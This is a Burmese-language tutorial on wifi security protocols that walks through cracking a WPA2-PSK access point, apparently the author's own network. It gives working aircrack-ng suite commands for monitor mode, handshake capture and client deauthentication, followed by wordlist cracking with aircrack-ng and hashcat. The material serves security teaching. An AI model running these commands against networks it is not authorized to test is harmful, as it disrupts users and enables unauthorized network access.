
WIfi Password Cracking
ခု ဒီ tutorial မှာ WPA2psk method သုံးထားတဲ့ AP (Access point) တှရေဲ့ password ကို crack ကြည့်ကျမှာပဲ ဖြစ်ပါတယ်၊၊
ဟိုးအရင်ခေတ်ဦတုန်းက network ထဲက device တွေတစ်ခုနဲ့တစ်ခု ဆက်သွယ်ချင်ရင် wire (coxial, copper, twisted pari) ကို အသုံးပြုခဲ့ကျရပါတယ်၊၊ wifi ကို၁၉၉၀ ခုနှစ် ဝန်ကျင်မှာ စပြီး develop လုပ်ခဲ့ကျပါတယ်၊၊ wifi သည် network ထဲမှာရှိတဲ့ computer/device တွေ wirelessly ဆက်သွား ချိတ်ဆက်နိုင်အောင် ကူညီပံ့ပိုးပေးပါတယ်၊၊
Wifi မှာဆိုရင်.. AP (Access Point)ဆိုတဲ့ကောင်ရှိပါတယ်၊၊ သူသည် 2.4G Hz နဲ့5 G Hz ရှိတဲ့ RF(radio Frequency) တွေကို ထုတ်လွှတ်ပါတယ်၊၊ tအဲ့ ထုတ်လွှတ်တဲ့ Signal တွေကို client device တွေက နေပြီးတော့ ဖမ်းယူပါတယ်၊၊ ဒီနေရာမှာ တစ်ခု သတိထားမိစေချင်တာက Frequency specturm အကြောင်းပဲ ဖြစ်ပါတယ်၊ အဲ့ဒီRadio Frequency specturm တွေသည် wireless communitcation အတွက် အလွန်အရေးပါ ပါတယ်၊ Frequency မတူညီပဲ နဲနဲ လေးကွဲနေတဲ့ ကောင် တွေကို channel လို့ ခေါ်ပါတယ်၊၊ channel 1 သည် 2.412 G Hz, Channel 6 မှာဆို 2.437G Hz စသည်ဖြင့် ကွာခြားနေတာကို တွေ့ ရမှာပါ၊
AP ကနေပြီး လွင့်ထုတ်လိုက်တဲ့ wireles signel ကို client(eg,. Mobile phone) တွေလှမ်း ချိတ်ဖို့ဆိုရင် SSID (Service Set Identifier)/(Name of Network) ကိုသိရပါမယ်၊၊ ပြီးတော့ security ကထားတယ်ဆိုရင်တော့ password သိဖို့လိုပါတယ်၊ ဒီနေရာ တစ်ဆက်တည်း ဆက်ပြောချင်တာက … SSID, BSSID, ESSID ကို ကွဲကွဲပြားပြား သိစေချင်တာပါ၊
SSID သည် wifi network ရဲ့နာမည် ကို ပြောတာပါ၊၊ အဲ့တာကျမှ ကိုယ်ချိတ်ချင်တဲ့ wifi ကို နာမည်နဲ လိုက်ရှာပြီး ချိတ်လို့ အဆင်ပြေမှာပေါ့၊
BSSID ဆိုတာကျတော့ wifi ထုတ်လွှင့်ထားတဲ့ station/AP ရဲ့ MAC address ကို ပြောတာပါ၊၊
ESSID ကတော့ SSID နဲ့အတူတူ ပါပဲ၊၊ wifi network ရဲ့name ကိုပြောတာပါ၊၊ တစ်ခုထူးသွားတာက သူသည် multiple AP တွေ ရှိနေတဲ့wifi network မျိုးဆိုရင် ESSID လို့သုံးပါတယ်၊ SSID လို့မသုံးတော့ါဘူး၊၊
ပြောရရင်တော့ channel ဆိုတာက. router/switch တွေမှာ port တွေ ရှိသလို.. data တွေ သွားမယ် လမ်းကြောင်းတွေပေါ့ဗျာ.. IEEE(Institute of Electrical and Electronics Engineers) ကနေပြီးတော စံထားလိုက်နာရမယ့် standard တစ်ခုအနေနဲ့ ဘယ် Frequency ကတော့ ဘယ် channel တွေသုံးရမယ် စသည်ဖြင့် သတ်မှတ်ပေးထားပါတယ်၊၊ 2.4 နဲ့ 5 G HZ သည် unLicense band တွေပါ၊ ဆိုလိုတာက သူတို့ကို သုံးမယ်ဆို ဝယ်သုံးစရာမလိုပါဘူး.. Feel free to use ပါ.. ဒါပေမယ့် နိုင်ငံတိုင်းမှာတော့ အဲ့ 2.4G Hz မှာရှိတဲ့ channel 14 ကိုမသုံးကျဘူးဗျာ့.. ၁၁ ခု ထိပဲ သုံးကျတယ်၊ ၁၄ လုံးသုံတဲ့ နိုင်ငံလဲ ရှိပါတယ်၊၊ Myanmar မှာလဲ channel ၁၁ ခုပဲ အသုံးများပါတယ်၊
Channel နဲ့ပါတ်သက်လို့ သိရမှာတစ်ခုက Transmit လုပ်မယ့်ကောင်နဲ့ receive လုပ်မယ့်ကောင် (AP & Clients)သည် channal တူရပါမယ်၊၊ same channel ဖြစ်မှ တစ်ကောင် နဲ့တစ်ကောင် ထိတွေ့ပြောဆို ပြီး data transmit လုပ်လို့ ရမှာပဲ ဖြစ်ပါတယ်၊၊ နည်းပညာ တွေကလဲ ပေါ်ကစ နဲ့ မတူတော့ပဲ တစ်ဖြည်းဖြည်း ထပ်ထပ်ပြီး develop လုပ် လာကျတာမို့.. Wifi (IEEE80211) မှာရှိတဲ့ standard တွေကတော့ အောက်ပါအတိုင်းပဲ ဖြစ်ပါတယ်၊၊
တစ်ဖြည်းဖြည်း တိုးတက်လာတာနဲ့အမျှ wifi သည် ပိုမိုကောင်းမွန် မြန်ဆန်လာတာကို တွေ့ရမှာပါ၊၊ wifi မှာ ရှိတဲ့ security protocol တွေ အကြောင်းကို လေ့လာကြည့်ကျရအောင်၊၊
Open : : : open ဆိုတဲ့အတိုင်းပဲ.. ဘာ security ကိုမှ မခံထားတာကို ပြောတာပါ၊ wifi လွင့်တယ် ကြိုက်တဲ့ သူလာချိတ်လို့ ရပါတယ်၊ Public wifi သဘောမျိုးပေါ့၊၊
WEP : : : WEP ကို wifi network တွေမှာ wire network တွေလို security ရှိအောင် စတင်ပြီး အသုံးပြုခဲ့ကျပါတယ်၊ အဲ့တာကြောင့် သူ့ကို Wired Equivalent Protocol (WEP) လို့ခေါ်တာပဲ ဖြစ်ပါတယ်၊၊ wire မှာတုန်းက Network ကိုချိတ်ဆက်ချင်ရင် router/switch/bridge ကို ကြိုးအရင်ဆုံး လာတပ်မှ ရမယ်လေ၊၊ wireless မှာကျ frequency နဲ့ အလုပ်လုပ်တာမို့သူထုတ်လွှင့်မယ် coverage မိတဲ့ area အတွင်းမှာ ရှိတဲ့ သူတိုင်း ချိတ်လို့ရနေတာမျိုး attack လုပ်နေတာမျိုး မဖြစ်ရအောင် Wireless ထဲက data တွေ privacy ကောင်းအောင် WEP က Encrypt လုပ်ပြီး ပို့လွတ်ပေးပါတယ်၊၊
WEP protocol မှာဆို Encryption key Size သုံးမျိုး ရှိပါတယ်၊၊ 64bit, 128bit, 152bit တို့ပဲ ဖြစ်ပါတယ်၊ ဘယ် Key size မှာပဲ ဖြစ်ဖြစ် 24bit ကို Initialization Vector(IV) အနေနဲ့ယူထားပါတယ်၊ ကျန်တဲ့ Bit တွေကိုပဲ အသုံးပြုလို့ ရမှာဖြစ်ပါတယ်၊ 64bit key မှာဆို Hexadecimal Character အနေနဲ့ ဆို 10 ပဲ အသုံးပြု လို့ ရမှာဖြစ်ပါတယ်၊၊ hexadecimal သည် base 16 ဖြစ်ပြီးတော့ တစ်လုံးကို 4 bit နေရာယူပါတယ်၊၊ 64 bit မှာဆို 64 – 24(IV) = 40 bit ပဲ သုံးလို့ရတာမို့ hexadecimal 10 * 4 bit = 40 bit ပဲ ရှိတာပါ၊၊ Hexa code မသုံးပဲ ASCII character ကိုသုံးမယ်ဆို ၅လုံးပဲ သုံးလို့ ရပါလိမ့်မယ်၊ ဘာလို့လဲ ဆိုတော့ ASCII သည် တစ်လုံးကို 8bit နေရာယူတာမို့8bit * 5 = 40 Bit ဖြစ်ပါတယ်၊၊ ဒါပေမယ့် ASCII မှာဆိုရင်တော့ A-Z, a-z, 0-9 အကုန်ရေးလို့ရပါတယ်၊၊ ခု ဥပမာပေးသွားတာတွေသည် 64 bit အတွက် ဖြစ်ပါတယ်၊၊
WPA : : : WEP ပေါ်လာပြီး သိပ်မကြာခင်ပဲ Cracker တွေက Crack လို့ရမယ့် vulnerabilities တွေ့ရှိပြီး ထိုးဖောက်ဝင်ရောက် ခဲ့ကျပါတယ်၊ Bug fix, upgrade တေလုပ်ပဲ security မကောင်းတာမို့ သုံးဖို့ recommand မပေးကျပါဘူး၊၊ အဲ့တာနဲ့ WPA (Wifi protected Acces) ကို စပြီး အသုံးပြု ခဲ့ကျပါတယ်၊၊ WPA မှာကျတော့ Data integrity ရှိဖို့အတွက် TKIP (Temporal Key Integrity Protocol ) ကို အသုံးပြု ထားပါတယ်၊ သို့သော်လည်း WPA သည် WEP ကို ထပ်ပြီး ဆန်းသစ်ထားတာမို့ အချို့အပိုင်း တွေမှာ အားနည်းပြီးတော့ Secure မဖြစ်ပါဘူး၊၊
WPA2PSK : : : WPA ဆိုတာWi-Fi Protected Access 2 ဖြစ်ပြီးတော့ PSK ဆိုကတော့ pre-shared-key ပါ။ pre-shared-key ကိုသုံးပြီးတော့ authentication လုပ်ပါတယ်။ personal use အတွက် design လုပ်ပေးထားတာဖြစ်ပြီး WPA2 Personal လို့လဲ ခေါ်ပါတယ်။ Enterprise အတွက်ဆိုင်တော့ 802.1X authentication server တွေကိုသုံးပြီး secure ဖြစ်အောင် လုပ်ပါတယ်၊ WPA2 မှာဆို TKIP ကော ASE (short for Advanced Encryption Standard) ကော သုံးလို့ရပါတယ်၊ TKIP သည် WEP ခေတ်လောက်ကတည်းက ပေါ်ခဲ့တဲ့ protocol ဖြစ်ပြီး ASE ကတော့ WPA2 နဲ့ အတူထွက်ပေါ်လာတဲ့ Encryption method ပဲ ဖြစ်ပါတယ်၊၊ Password ပေးမယ်ဆိုရင် ၈လုံးကနေ ၆၃ လုံးထိ ပေးလို့ ရပါတယ်၊၊
Pre-share Key (PSK) ဆိုတာသည် AP နဲ့ Client ကြား data တွေ မပို့လွှတ်မှီ စချိတ်တဲ့ အချိန် 4 way Hand shake လုပ်တုန်းမှာ password ပေါ်မူတည်ပြီး Generate လုပ်ထားတဲ့ 256 bit ရှိတဲ့Encrypted Key တစ်ခုပဲ ဖြစ်ပါတယ်၊၊
Wifi မှာ 2.4 နဲ့5 G Hz ကိုသုံးတယ် ဆိုတာသိပြီ.. ပြီးတော့ Channel တူမ အလုပ် လုပ်တယ်.. Communicate လုပ်လို့ရတာကို သိပြီ၊ security protocol တွေ .. Pre Shared Key အလုပ် လုပ်ပုံ ပြီးတော့ ESSID, BSSID လဲ သိပြီဆိုတော့ WPA2PSK သုံးထားတဲ့ AP( Wireless point) တစ်ခုကို crack ကြည့်ကျ ရအောင်ဗျာ၊၊
iwconfg နဲ့ wLan interface ကို စစ်ပါ၊၊ ခုဆိုရင် wireless interface ဖြစ်တဲ့wlp1s0 သည် Managed mode ဖြစ်နေတာကို တွေ့ရမှာပါ၊၊ ဆိုတော့ကာ.. ကိုယ် crack လုပ်မယ့် ESSID, BSSID တွေကို သိဖို့ ရှာနိုင်ဖို့အတွက် Monitor mode ကို ပြောင်းမှ ရမှာပါ၊
sudo airmon-ng start wlp1s0 ဆိုပြီးတော့ wlp1s0 ကို monitor mode ပြောင်းလိုက်ပါတယ်၊၊ mon0 အနေနဲ့ monitor mode enable ဖြစ်သွားပါတယ်၊ အောက်ကပုံကို ကြည့်ပါ၊
အပေါ်က ပုံမှာလဲ မြင်နိုင်ပါတယ်၊၊ process 5 ခု သည် ဒုက္ခ ပေးနိုင်တဲ့ အတွက် kill ပစ်ဖို့လိုတာကို ပြောထား တွေ့ရမှာပါ၊ အဲ့တော့ sudo airmon-ng check kill ဆိုတဲ့ command နဲ့ process တွေကို kill လိုက်ပါ၊
ကျွန်တော်တို့ wifi adapter ကနေ ဖမ်းကြည့်လို့ ရသမျှ information ကို စစ်ကြည့်ကျပါစို့၊၊ sudo airodump-ng mon0 ဆိုတဲ့ command သည် BSSID, ESSID, Channel စတာတွေကို မြင်ရပါတယ်၊၊
ခု ဒီမှာဆိုရင် ကျွန်တော်တို့တွေ crack မှာသည် CrossNet (ESSID) ဆိုတဲ့ Network ကိုပါ၊ CrossNet ရဲ့ MAC address (BSSID) သည် F0:C8:50:C1:69:E4 ပြီးတော့ လက်ရှိ လုပ် နေတဲ့ channel ကတော့ 11 ပဲ ဖြစ်ပါတယ်၊၊
BSSID, ESSID, CH တွေကို မှတ်လာခဲ့ပါ၊၊
sudo airodump-ng -c 11 –bssid F0:C8:50:C1:69:E4 -w /home/spacex/ WPA2PSK/myencp mon0 ဆိုပြီးတော့ target ESSID နဲ့သူ့ရဲ့Channel တစ်ခုကိုပဲ focus ထားပြီး စောင့်ကြည့်နေပါတယ်၊ capture လုပ်ဖို့အတွက်ပါ၊၊
- -c 11 သည် channel 11 ကို ပြောတာပါ၊၊
- -w /home/spacex/WPA2PSK/myencp သည် /home/spacex/WPA2PSK အောက်မှာ myencp နဲ့စတဲ့ file တွေ အနေနဲ့သိမ်းမယ်လို့ ပြောတာပါ၊
- –bssid F0:C8:50:C1:69:E4 သည် Target ထားတဲ့ Network ရဲ့ BSSID ကို ပြောတာပါ၊
- mon0 သည် monitor လုပ်တဲ့ interface ပါ၊
Encrypted password ကို ဖမ်းမယ်ဆိုရင် ဒီတိုင်း ဖမ်လို့အဆင်မပြေနိုင်ပါဘူး၊၊ သူသည် 4 way hand shake လုပ်တဲ့ အချိန်မှသာ ကြားထဲကနေ ဖြတ်ပြီး ဖမ်းယူနိုင်မှာဖြစ်ပါတယ်၊၊ autheticate လုပ်မယ့် အချိန်မှသာ 4way hand shake လုပ်တာမို့.. Authenticated ဖြစ်နေတာမို့.. De-authenticate လုပ်ပေးဖို့လိုပါတယ်၊၊ De-authenticate လုပ်လိုက်မှ system သည် auto re-authenticate ပြန်လုပ်ပါလိမ့်မယ်၊၊ အဲ့အချိန်ကျမှ monitor လုပ်နေတဲ့ interface ကနေ တစ်ဆင့် encrypted password ကို ရပါလိမ့်မယ်၊၊
Deauthenticate လုပ်ဖို့အတွက် .. sudo aireplay-ng –deauth 34 -a F0:C8:50:C1:69:E4 mon0 နဲ့ de-auth လုပ်လို့ ရသလို ..
sudo aireplay-ng -0 10 -a F0:C8:50:C1:69:E4 -c D4:38:9C:37:C3:92 mon0 –ignore-negative-one နဲ့လဲ လုပ်လို့ ရပါတယ်၊
- -deauth 34 သည် deauth message 34 ခါ ပို့လွတ်မယ်လို့ ပြောတာပါ၊
- -0 10 မှာ -0 သည် deauth ပါပဲ သူကကျတော့ all station ကို ရည်ညွန်းပါတယ်၊၊
- -a F0:C8:50:C1:69:E4 သည် BSSID ကို define လုပ်ထားဖြစ်ပါတယ်၊
- -c D4:38:9C:37:C3:92 ကတော့ destination MAC address (Client MAC) ကို ပြောထားပေးတာပဲ ဖြစ်ပါတယ်၊၊
- –ignore-negative-one ကတော့ optional ပါ. . error တက်မှ လိုမှ ထည့်ပါ၊၊
Deauth ဖြစ်သွားတဲ့ အတွက် client တွေသည် AP ကို auto re-authenticate ပြန်လုပ်ပါတယ်၊ အဲ့အချိန်မှာ airodump-ng နဲ့ capture ဖမ်းဖို့ စောင့်ကြည့်နေတဲ့ terminal မှာကြည့်လိုက်ရင် WPA handshake ဆိုပြီး ပေါ်နေတာကို တွေ့ရလိမ့်မယ်၊၊ အဲ့ဆိုရင်တော့ client နဲ့ AP .. 4 way hand shake လုပ်တဲ့အချိန်မှာ encrypted password ကို ဖမ်းယူခဲ့နိုင်ခဲ့တာပဲ ဖြစ်ပါတယ်၊၊
ရလာတဲ့ HandShake (encrypted password) ရယ် ဖြစ်နိုင်တဲ့ password တွေကို guess လုပ်ထားတဲ့ wordlist ဖိုင်လေးရယ်ကို ပေါင်းပြီး password ကိုcrack ကြည့်ဖို့အတွက် အောက်ပါ command ကို ရိုက်ပါ၊၊
sudo aircrack-ng /home/spacex/WPA2PSK/myencp*.cap -w /home/spacex/WPA2PSK/wordlist
/home/spacex/WPA2PSK/myencp*.cap သည် capture လုပ်လို့ရလာတဲ့ handshake file ဖြစ်ပြီးတော့ … -w /home/spacex/WPA2PSK/wordlist သည် ခန့်မှန်းထားတဲ့ password တွေကို ရေးထည့််ထားတဲ့ text ဖိုင် ပဲ ဖြစ်ပါတယ်၊၊ အဲ့လို aircrack-ng ကိုသုံးပြီး handshake ဖိုင်ကို crack လို့ရသလို့. Hashcat ကိုသုံးပြီးတော့လဲ လုပ်လို့ ရပါတယ်၊၊
Hashcap သည် cap ကို hccapx ကို ပြောင်းမှ အဆင်ပြေတာပါ၊ အဲ့တာကြောင့် software သုံးပြီးပြောင်းလို့ သလို online ကနေလဲ ပြောင်းလို့ရပါတယ်၊
Software နဲ့ဆိုရင် cap2hccapx myencp-04.cap myencp-04.hccapx ပါ
Online ကနေလုပ်ချင်ရင်တော့ အောက်ပါလင့်ကနေ တစ်ဆင့် ပြောင်းလို့ရပါတယ်၊၊
hashcat -m 2500 myencp-04.hccapx wordlist နဲ့လဲ.. Hashcat ကို သုံးပြီးတော့ crack လိုက်ရင် wordlist ထဲမှာသာ password အမှန် ပါနေရင် ထွက်လာပါလိမ့်မယ်၊၊ ဒီမှာတော့ CrossNet ဆိုတဲ့ Network အတွက password သည် CrossNetmm ဆိုပြီး ထွက်လာပါတယ်၊၊
အဲ့လိုမဟုတ်ပဲ hashcat pot file အနေနဲ့ သိမ်းစေချင်တယ်ဆိုရင်တော့ Hashcat -m 2500 myencp-04.hccapx wordlist –potfile-path=/home/spacex/WPA2PSK/my.pot ဆိုပြီး run လိုက်ယုံပါပဲ၊.. Run ပြီးနောက် အဲ့ file လေးကို သွားဖွင့်ကြည့်ပါ၊၊
အဆင်ပြေမယ်လို့ မျှော်လင့်ပါတယ်၊၊၊
With Best Regards,
Khant Phyo
Core Team Leader @Ericsson Myanmar Co,.ltd.
ဒါကတော့ သင်တန်းကြော်ညာလေးပါ စိတ်ဝင်စားရင် Page မှာ ဝင်ကြည့်လို့ရ ပါတယ်ဗျာ့ >> https://www.facebook.com/Cr0ssnet